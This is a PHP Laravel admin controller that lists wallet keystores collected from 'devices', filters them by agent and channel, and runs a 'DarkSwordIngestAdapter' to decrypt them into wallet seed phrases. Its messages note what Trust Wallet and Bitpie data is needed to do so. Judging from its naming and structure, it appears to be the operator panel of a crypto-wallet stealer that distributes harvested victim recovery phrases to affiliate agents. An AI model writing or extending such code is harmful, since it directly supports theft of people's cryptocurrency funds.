<?php

namespace App\Http\Controllers\Admin;

use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\User;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\DarkSwordIngestAdapter;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;

class KeystoreController extends Controller
{
    use PortalAware;

    public function index()
    {
        $agents = $this->isAgentPortal()
            ? collect()
            : User::query()->orderBy('username')->get(['id', 'username']);
        $sources = WalletKeystore::query()
            ->where('source', '!=', '')
            ->distinct()
            ->orderBy('source')
            ->pluck('source');

        return view('admin.keystores.index', [
            'portal' => $this->portal(),
            'agents' => $agents,
            'sources' => $sources,
        ]);
    }

    public function data(Request $request)
    {
        $q = $this->baseQuery($request);

        $sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
        $field = (string) $request->query('field', 'id');
        $order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
        if (! in_array($field, $sortable, true)) {
            $field = 'id';
        }
        $q->orderBy('wallet_keystores.'.$field, $order);

        $limit = max(1, min(100, (int) $request->query('limit', 20)));
        $page = max(1, (int) $request->query('page', 1));
        $paginator = $q->paginate($limit, ['*'], 'page', $page);

        $portal = $this->portal();
        $data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) {
            return $this->rowPayload($row, $portal);
        })->values();

        return response()->json([
            'code' => 0,
            'msg' => '',
            'count' => $paginator->total(),
            'data' => $data,
        ]);
    }

    public function items(WalletKeystore $keystore)
    {
        if (! $this->keystoreAllowed($keystore)) {
            return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
        }

        return response()->json([
            'code' => 0,
            'msg' => '',
            'data' => [
                'id' => $keystore->id,
                'source' => $keystore->sourceLabel(),
                'decrypted' => (int) $keystore->decrypted,
                'kind' => $keystore->kindLabel(),
                'items' => $keystore->listedItems(),
            ],
        ]);
    }

    public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter)
    {
        if (! $this->keystoreAllowed($keystore)) {
            return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
        }
        $device = $keystore->device;
        if ($device === null) {
            return response()->json(['code' => 1, 'msg' => '设备不存在'], 404);
        }
        @set_time_limit(180);
        @ini_set('max_execution_time', '180');

        $before = WalletMnemonic::query()
            ->where('device_id', $device->id)
            ->pluck('mnemonic_hash')
            ->all();
        $seen = array_fill_keys($before, true);
        $adapter->reprocessKeystores($device);
        $keystore->refresh();

        $after = WalletMnemonic::query()
            ->where('device_id', $device->id)
            ->get(['id', 'source', 'mnemonic_hash']);
        $added = $after->filter(static fn (WalletMnemonic $row) => ! isset($seen[$row->mnemonic_hash]));
        $addedCount = $added->count();
        $msg = $addedCount > 0
            ? '已写入 '.$addedCount.' 条助记词'
            : ((int) $keystore->decrypted === 1
                ? '没有新的助记词（该来源可能已解密）'
                : '未解出助记词（Trust 需要 UTC+钥匙串密码，Bitpie 需要 seedPhraseEntropy）');

        return response()->json([
            'code' => 0,
            'msg' => $msg,
            'data' => [
                'id' => $keystore->id,
                'decrypted' => (int) $keystore->decrypted,
                'added' => $addedCount,
                'mnemonic_total' => $after->count(),
                'sources' => $added->pluck('source')->unique()->values()->all(),
            ],
        ]);
    }

    /**
     * @return array<string, mixed>
     */
    public function rowPayload(WalletKeystore $row, string $portal): array
    {
        return [
            'id' => $row->id,
            'device_key' => $row->device_key ?? $row->device?->device_id ?? '',
            'channel_id' => $row->device_channel_id ?? $row->device?->channel_id ?? '',
            'source' => $row->sourceLabel(),
            'decrypted' => (int) $row->decrypted,
            'kind' => $row->kindLabel(),
            'item_count' => $row->itemCount(),
            'summary' => $row->summary(),
            'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
            'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']),
            'items_url' => route($portal.'.keystores.items', $row->id),
            'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
        ];
    }

    private function keystoreAllowed(WalletKeystore $keystore): bool
    {
        $allowed = WalletKeystore::query()
            ->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
            ->where('wallet_keystores.id', $keystore->id);
        AgentScope::applyDeviceChannelScope($allowed, $this->agent());

        return $allowed->exists();
    }

    private function baseQuery(Request $request): Builder
    {
        $q = WalletKeystore::query()
            ->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
            ->select([
                'wallet_keystores.*',
                'devices.device_id as device_key',
                'devices.channel_id as device_channel_id',
            ]);

        AgentScope::applyDeviceChannelScope($q, $this->agent());

        $channelId = trim((string) $request->query('channel_id', ''));
        $deviceKey = trim((string) $request->query('device_key', ''));
        $source = trim((string) $request->query('source', ''));
        $decrypted = trim((string) $request->query('decrypted', ''));
        if ($channelId !== '') {
            $q->where('devices.channel_id', 'like', '%'.$channelId.'%');
        }
        if ($deviceKey !== '') {
            $q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
        }
        if ($source !== '') {
            if ($source === '未知') {
                $q->where(function (Builder $inner) {
                    $inner->whereNull('wallet_keystores.source')
                        ->orWhere('wallet_keystores.source', '');
                });
            } else {
                $q->where('wallet_keystores.source', $source);
            }
        }
        if ($decrypted === '0' || $decrypted === '1') {
            $q->where('wallet_keystores.decrypted', (int) $decrypted);
        }
        if (! $this->isAgentPortal()) {
            AgentScope::applyAgentUserFilter(
                $q,
                AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
            );
        }

        return $q;
    }
}